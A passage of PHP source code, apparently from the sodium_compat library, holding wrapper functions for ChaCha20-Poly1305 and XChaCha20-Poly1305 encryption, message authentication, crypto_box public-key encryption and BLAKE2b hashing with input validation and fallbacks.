crypto_aead_chacha20poly1305_ietf_decrypt( $ciphertext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '' ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_CHACHA20POLY1305_ABYTES) { throw new SodiumException('Message must be at least CRYPTO_AEAD_CHACHA20POLY1305_ABYTES long'); } if (self::useNewSodiumAPI()) { /** * @psalm-suppress InvalidReturnStatement * @psalm-suppress FalsableReturnStatement */ return sodium_crypto_aead_chacha20poly1305_ietf_decrypt( $ciphertext, $assocData, $nonce, $key ); } if (self::use_fallback('crypto_aead_chacha20poly1305_ietf_decrypt')) { return call_user_func( '\\Sodium\\crypto_aead_chacha20poly1305_ietf_decrypt', $ciphertext, $assocData, $nonce, $key ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_ietf_decrypt( $ciphertext, $assocData, $nonce, $key ); } return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_ietf_decrypt( $ciphertext, $assocData, $nonce, $key ); } /** * Return a secure random key for use with the ChaCha20-Poly1305 * symmetric AEAD interface. * * @return string * @throws Exception * @throws Error */ public static function crypto_aead_chacha20poly1305_keygen() { return random_bytes(self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES); } /** * Authenticated Encryption with Associated Data * * Algorithm: * ChaCha20-Poly1305 * * IETF mode uses a 96-bit random nonce with a 32-bit counter. * Regular mode uses a 64-bit random nonce with a 64-bit counter. * * @param string $plaintext Message to be encrypted * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * * @return string Ciphertext with a 16-byte Poly1305 message * authentication code appended * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_aead_chacha20poly1305_ietf_encrypt( #[\SensitiveParameter] $plaintext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '' ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); if (!is_null($assocData)) { ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); } ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_aead_chacha20poly1305_ietf_encrypt( $plaintext, $assocData, $nonce, $key ); } if (self::use_fallback('crypto_aead_chacha20poly1305_ietf_encrypt')) { return (string) call_user_func( '\\Sodium\\crypto_aead_chacha20poly1305_ietf_encrypt', $plaintext, $assocData, $nonce, $key ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_ietf_encrypt( $plaintext, $assocData, $nonce, $key ); } return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_ietf_encrypt( $plaintext, $assocData, $nonce, $key ); } /** * Return a secure random key for use with the ChaCha20-Poly1305 * symmetric AEAD interface. (IETF version) * * @return string * @throws Exception * @throws Error */ public static function crypto_aead_chacha20poly1305_ietf_keygen() { return random_bytes(self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES); } /** * Authenticated Encryption with Associated Data: Decryption * * Algorithm: * XChaCha20-Poly1305 * * This mode uses a 64-bit random nonce with a 64-bit counter. * IETF mode uses a 96-bit random nonce with a 32-bit counter. * * @param string $ciphertext Encrypted message (with Poly1305 MAC appended) * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * @param bool $dontFallback Don't fallback to ext/sodium * * @return string|bool The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_aead_xchacha20poly1305_ietf_decrypt( $ciphertext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '', $dontFallback = false ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); if (!is_null($assocData)) { ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); } else { $assocData = ''; } ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES) { throw new SodiumException('Message must be at least CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES long'); } if (self::useNewSodiumAPI() && !$dontFallback) { if (is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_decrypt')) { return sodium_crypto_aead_xchacha20poly1305_ietf_decrypt( $ciphertext, $assocData, $nonce, $key ); } } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::aead_xchacha20poly1305_ietf_decrypt( $ciphertext, $assocData, $nonce, $key ); } return ParagonIE_Sodium_Crypto::aead_xchacha20poly1305_ietf_decrypt( $ciphertext, $assocData, $nonce, $key ); } /** * Authenticated Encryption with Associated Data * * Algorithm: * XChaCha20-Poly1305 * * This mode uses a 64-bit random nonce with a 64-bit counter. * IETF mode uses a 96-bit random nonce with a 32-bit counter. * * @param string $plaintext Message to be encrypted * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * @param bool $dontFallback Don't fallback to ext/sodium * * @return string Ciphertext with a 16-byte Poly1305 message * authentication code appended * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_aead_xchacha20poly1305_ietf_encrypt( #[\SensitiveParameter] $plaintext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '', $dontFallback = false ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); if (!is_null($assocData)) { ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); } else { $assocData = ''; } ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_XCHACHA20POLY1305_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_XCHACHA20POLY1305_KEYBYTES long'); } if (self::useNewSodiumAPI() && !$dontFallback) { if (is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_encrypt')) { return sodium_crypto_aead_xchacha20poly1305_ietf_encrypt( $plaintext, $assocData, $nonce, $key ); } } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::aead_xchacha20poly1305_ietf_encrypt( $plaintext, $assocData, $nonce, $key ); } return ParagonIE_Sodium_Crypto::aead_xchacha20poly1305_ietf_encrypt( $plaintext, $assocData, $nonce, $key ); } /** * Return a secure random key for use with the XChaCha20-Poly1305 * symmetric AEAD interface. * * @return string * @throws Exception * @throws Error */ public static function crypto_aead_xchacha20poly1305_ietf_keygen() { return random_bytes(self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES); } /** * Authenticate a message. Uses symmetric-key cryptography. * * Algorithm: * HMAC-SHA512-256. Which is HMAC-SHA-512 truncated to 256 bits. * Not to be confused with HMAC-SHA-512/256 which would use the * SHA-512/256 hash function (uses different initial parameters * but still truncates to 256 bits to sidestep length-extension * attacks). * * @param string $message Message to be authenticated * @param string $key Symmetric authentication key * @return string Message authentication code * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_auth( $message, #[\SensitiveParameter] $key ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AUTH_KEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_AUTH_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_auth($message, $key); } if (self::use_fallback('crypto_auth')) { return (string) call_user_func('\\Sodium\\crypto_auth', $message, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::auth($message, $key); } return ParagonIE_Sodium_Crypto::auth($message, $key); } /** * @return string * @throws Exception * @throws Error */ public static function crypto_auth_keygen() { return random_bytes(self::CRYPTO_AUTH_KEYBYTES); } /** * Verify the MAC of a message previously authenticated with crypto_auth. * * @param string $mac Message authentication code * @param string $message Message whose authenticity you are attempting to * verify (with a given MAC and key) * @param string $key Symmetric authentication key * @return bool TRUE if authenticated, FALSE otherwise * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_auth_verify( $mac, $message, #[\SensitiveParameter] $key ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($mac, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($mac) !== self::CRYPTO_AUTH_BYTES) { throw new SodiumException('Argument 1 must be CRYPTO_AUTH_BYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AUTH_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_AUTH_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { return (bool) sodium_crypto_auth_verify($mac, $message, $key); } if (self::use_fallback('crypto_auth_verify')) { return (bool) call_user_func('\\Sodium\\crypto_auth_verify', $mac, $message, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::auth_verify($mac, $message, $key); } return ParagonIE_Sodium_Crypto::auth_verify($mac, $message, $key); } /** * Authenticated asymmetric-key encryption. Both the sender and recipient * may decrypt messages. * * Algorithm: X25519-XSalsa20-Poly1305. * X25519: Elliptic-Curve Diffie Hellman over Curve25519. * XSalsa20: Extended-nonce variant of salsa20. * Poyl1305: Polynomial MAC for one-time message authentication. * * @param string $plaintext The message to be encrypted * @param string $nonce A Number to only be used Once; must be 24 bytes * @param string $keypair Your secret key and your recipient's public key * @return string Ciphertext with 16-byte Poly1305 MAC * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box( $plaintext, $nonce, #[\SensitiveParameter] $keypair ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_BOX_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_BOX_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box($plaintext, $nonce, $keypair); } if (self::use_fallback('crypto_box')) { return (string) call_user_func('\\Sodium\\crypto_box', $plaintext, $nonce, $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box($plaintext, $nonce, $keypair); } return ParagonIE_Sodium_Crypto::box($plaintext, $nonce, $keypair); } /** * Anonymous public-key encryption. Only the recipient may decrypt messages. * * Algorithm: X25519-XSalsa20-Poly1305, as with crypto_box. * The sender's X25519 keypair is ephemeral. * Nonce is generated from the BLAKE2b hash of both public keys. * * This provides ciphertext integrity. * * @param string $plaintext Message to be sealed * @param string $publicKey Your recipient's public key * @return string Sealed message that only your recipient can * decrypt * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box_seal( #[\SensitiveParameter] $plaintext, $publicKey ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_BOX_PUBLICKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_seal($plaintext, $publicKey); } if (self::use_fallback('crypto_box_seal')) { return (string) call_user_func('\\Sodium\\crypto_box_seal', $plaintext, $publicKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_seal($plaintext, $publicKey); } return ParagonIE_Sodium_Crypto::box_seal($plaintext, $publicKey); } /** * Opens a message encrypted with crypto_box_seal(). Requires * the recipient's keypair (sk || pk) to decrypt successfully. * * This validates ciphertext integrity. * * @param string $ciphertext Sealed message to be opened * @param string $keypair Your crypto_box keypair * @return string The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_box_seal_open( $ciphertext, #[\SensitiveParameter] $keypair ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { /** * @psalm-suppress InvalidReturnStatement * @psalm-suppress FalsableReturnStatement */ return sodium_crypto_box_seal_open($ciphertext, $keypair); } if (self::use_fallback('crypto_box_seal_open')) { return call_user_func('\\Sodium\\crypto_box_seal_open', $ciphertext, $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_seal_open($ciphertext, $keypair); } return ParagonIE_Sodium_Crypto::box_seal_open($ciphertext, $keypair); } /** * Generate a new random X25519 keypair. * * @return string A 64-byte string; the first 32 are your secret key, while * the last 32 are your public key. crypto_box_secretkey() * and crypto_box_publickey() exist to separate them so you * don't accidentally get them mixed up! * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box_keypair() { if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_keypair(); } if (self::use_fallback('crypto_box_keypair')) { return (string) call_user_func('\\Sodium\\crypto_box_keypair'); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_keypair(); } return ParagonIE_Sodium_Crypto::box_keypair(); } /** * Combine two keys into a keypair for use in library methods that expect * a keypair. This doesn't necessarily have to be the same person's keys. * * @param string $secretKey Secret key * @param string $publicKey Public key * @return string Keypair * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box_keypair_from_secretkey_and_publickey( #[\SensitiveParameter] $secretKey, $publicKey ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_BOX_PUBLICKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_keypair_from_secretkey_and_publickey($secretKey, $publicKey); } if (self::use_fallback('crypto_box_keypair_from_secretkey_and_publickey')) { return (string) call_user_func('\\Sodium\\crypto_box_keypair_from_secretkey_and_publickey', $secretKey, $publicKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_keypair_from_secretkey_and_publickey($secretKey, $publicKey); } return ParagonIE_Sodium_Crypto::box_keypair_from_secretkey_and_publickey($secretKey, $publicKey); } /** * Decrypt a message previously encrypted with crypto_box(). * * @param string $ciphertext Encrypted message * @param string $nonce Number to only be used Once; must be 24 bytes * @param string $keypair Your secret key and the sender's public key * @return string The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_box_open( $ciphertext, $nonce, #[\SensitiveParameter] $keypair ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_BOX_MACBYTES) { throw new SodiumException('Argument 1 must be at least CRYPTO_BOX_MACBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_BOX_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_BOX_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { /** * @psalm-suppress InvalidReturnStatement * @psalm-suppress FalsableReturnStatement */ return sodium_crypto_box_open($ciphertext, $nonce, $keypair); } if (self::use_fallback('crypto_box_open')) { return call_user_func('\\Sodium\\crypto_box_open', $ciphertext, $nonce, $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_open($ciphertext, $nonce, $keypair); } return ParagonIE_Sodium_Crypto::box_open($ciphertext, $nonce, $keypair); } /** * Extract the public key from a crypto_box keypair. * * @param string $keypair Keypair containing secret and public key * @return string Your crypto_box public key * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box_publickey( #[\SensitiveParameter] $keypair ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_publickey($keypair); } if (self::use_fallback('crypto_box_publickey')) { return (string) call_user_func('\\Sodium\\crypto_box_publickey', $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_publickey($keypair); } return ParagonIE_Sodium_Crypto::box_publickey($keypair); } /** * Calculate the X25519 public key from a given X25519 secret key. * * @param string $secretKey Any X25519 secret key * @return string The corresponding X25519 public key * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box_publickey_from_secretkey( #[\SensitiveParameter] $secretKey ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_publickey_from_secretkey($secretKey); } if (self::use_fallback('crypto_box_publickey_from_secretkey')) { return (string) call_user_func('\\Sodium\\crypto_box_publickey_from_secretkey', $secretKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_publickey_from_secretkey($secretKey); } return ParagonIE_Sodium_Crypto::box_publickey_from_secretkey($secretKey); } /** * Extract the secret key from a crypto_box keypair. * * @param string $keypair * @return string Your crypto_box secret key * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box_secretkey( #[\SensitiveParameter] $keypair ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_secretkey($keypair); } if (self::use_fallback('crypto_box_secretkey')) { return (string) call_user_func('\\Sodium\\crypto_box_secretkey', $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_secretkey($keypair); } return ParagonIE_Sodium_Crypto::box_secretkey($keypair); } /** * Generate an X25519 keypair from a seed. * * @param string $seed * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress UndefinedFunction */ public static function crypto_box_seed_keypair( #[\SensitiveParameter] $seed ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($seed, 'string', 1); if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_seed_keypair($seed); } if (self::use_fallback('crypto_box_seed_keypair')) { return (string) call_user_func('\\Sodium\\crypto_box_seed_keypair', $seed); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_seed_keypair($seed); } return ParagonIE_Sodium_Crypto::box_seed_keypair($seed); } /** * Calculates a BLAKE2b hash, with an optional key. * * @param string $message The message to be hashed * @param string|null $key If specified, must be a string between 16 * and 64 bytes long * @param int $length Output length in bytes; must be between 16 * and 64 (default = 32) * @return string Raw binary * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_generichash( $message, #[\SensitiveParameter] $key = '', $length = self::CRYPTO_GENERICHASH_BYTES ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); if (is_null($key)) { $key = ''; } ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 3); /* Input validation: */ if (!empty($key)) { if (ParagonIE_Sodium_Core_Util::strlen($key) < self::CRYPTO_GENERICHASH_KEYBYTES_MIN) { throw new SodiumException('Unsupported key size. Must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) > self::CRYPTO_GENERICHASH_KEYBYTES_MAX) { throw new SodiumException('Unsupported key size. Must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.'); } } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_generichash($message, $key, $length); } if (self::use_fallback('crypto_generichash')) { return (string) call_user_func('\\Sodium\\crypto_generichash', $message, $key, $length); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::generichash($message, $key, $length); } return ParagonIE_Sodium_Crypto::generichash($message, $key, $length); } /** * Get the final BLAKE2b hash output for a given context. * * @param string $ctx BLAKE2 hashing context. Generated by crypto_generichash_init(). * @param int $length Hash output size. * @return string Final BLAKE2b hash. * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress ReferenceConstraintViolation * @psalm-suppress ConflictingReferenceConstraint */ public static function crypto_generichash_final( #[\SensitiveParameter] &$ctx, $length = self::CRYPTO_GENERICHASH_BYTES ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ctx, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 2); if (self::useNewSodiumAPI()) { return sodium_crypto_generichash_final($ctx, $length); } if (self::use_fallback('crypto_generichash_final')) { $func = '\\Sodium\\crypto_generichash_final'; return (string) $func($ctx, $length); } if ($length < 1) { try { self::memzero($ctx); } catch (SodiumException $ex) { unset($ctx); } return ''; } if (PHP_INT_SIZE === 4) { $result = ParagonIE_Sodium_Crypto32::generichash_final($ctx, $length); } else { $result = ParagonIE_Sodium_Crypto::generichash_final($ctx, $length); } try { self::memzero($ctx); } catch (SodiumException $ex) { unset($ctx); } return $result; } /** * Initialize a BLAKE2b hashing context, for use in a streaming interface. * * @param string|null $key If specified must be a string between 16 and 64 bytes * @param int $length The size of the desired hash output * @return string A BLAKE2 hashing context, encoded as a string * (To be 100% compatible with ext/libsodium) * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_generichash_init( #[\SensitiveParameter] $key = '', $length = self::CRYPTO_GENERICHASH_BYTES ) { /* Type checks: */ if (is_null($key)) { $key = ''; } ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 2); /* Input validation: */ if (!empty($key)) { if (ParagonIE_Sodium_Core_Util::strlen($key) < self::CRYPTO_GENERICHASH_KEYBYTES_MIN) { throw new SodiumException('Unsupported key size. Must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) > self::CRYPTO_GENERICHASH_KEYBYTES_MAX) { throw new SodiumException('Unsupported key size. Must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.'); } } if (self::useNewSodiumAPI()) { return sodium_crypto_generichash_init($key, $length); } if (self::use_fallback('crypto_generichash_init')) { return (string) call_user_func('\\Sodium\\crypto_generichash_init', $key, $length); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::generichash_init($key, $length); } return ParagonIE_Sodium_Crypto::generichash_init($key, $length); } /** * Initialize a BLAKE2b hashing context, for use in a streaming interface. * * @param string|null $key If specified must be a string between 16 and 64 bytes * @param int $length The size of the desired hash output * @param string $salt Salt (up to 16 bytes) * @param string $personal Personalization string (up to 16 bytes) * @return string A BLAKE2 hashing context, encoded as a string * (To be 100% compatible with ext/libsodium) * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_generichash_init_salt_personal( #[\SensitiveParameter] $key = '', $length = self::CRYPTO_GENERICHASH_BYTES, $salt = '', $personal = '' ) { /* Type checks: */ if (is_null($key)) { $key = ''; } ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 2); ParagonIE_Sodium_Core_Util::declareScalarType($salt, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($personal, 'string', 4); $salt = str_pad($salt, 16, "\0", STR_PAD_RIGHT); $personal = str_pad($personal, 16, "\0", STR_PAD_RIGHT); /* Input validation: */ if (!empty($key)) { /* if (ParagonIE_Sodium_Core_Util::strlen($key) < self::CRYPTO_GENERICHASH_KEYBYTES_MIN) { throw new SodiumException('Unsupported key size. Must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.'); } */ if (ParagonIE_Sodium_Core_Util::strlen($key) > self::CRYPTO_GENERICHASH_KEYBYTES_MAX) { throw new SodiumException('Unsupported key size. Must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.'); } } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::generichash_init_salt_personal($key, $length, $salt, $personal); } return ParagonIE_Sodium_Crypto::generichash_init_salt_personal($key, $length, $salt, $personal); } /** * Update a BLAKE2b hashing context with additional data. * * @param string $ctx BLAKE2 hashing context. Generated by crypto_generichash_init(). * $ctx is passed by reference and gets updated in-place. * @param-out string $ctx * @param string $message The message to append to the existing hash state. * @return void * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress ReferenceConstraintViolation */ public static function crypto_generichash_update( #[\SensitiveParameter] &$ctx, $message ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ctx, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 2); if (self::useNewSodiumAPI()) { sodium_crypto_generichash_update($ctx, $message); return; } if (self::use_fallback('crypto_generichash_update')) { $func = '\\Sodium\\crypto_generichash_update'; $func($ctx, $message); return; } if (PHP_INT_SIZE === 4) { $ctx = ParagonIE_Sodium_Crypto32::generichash_update($ctx, $message); } 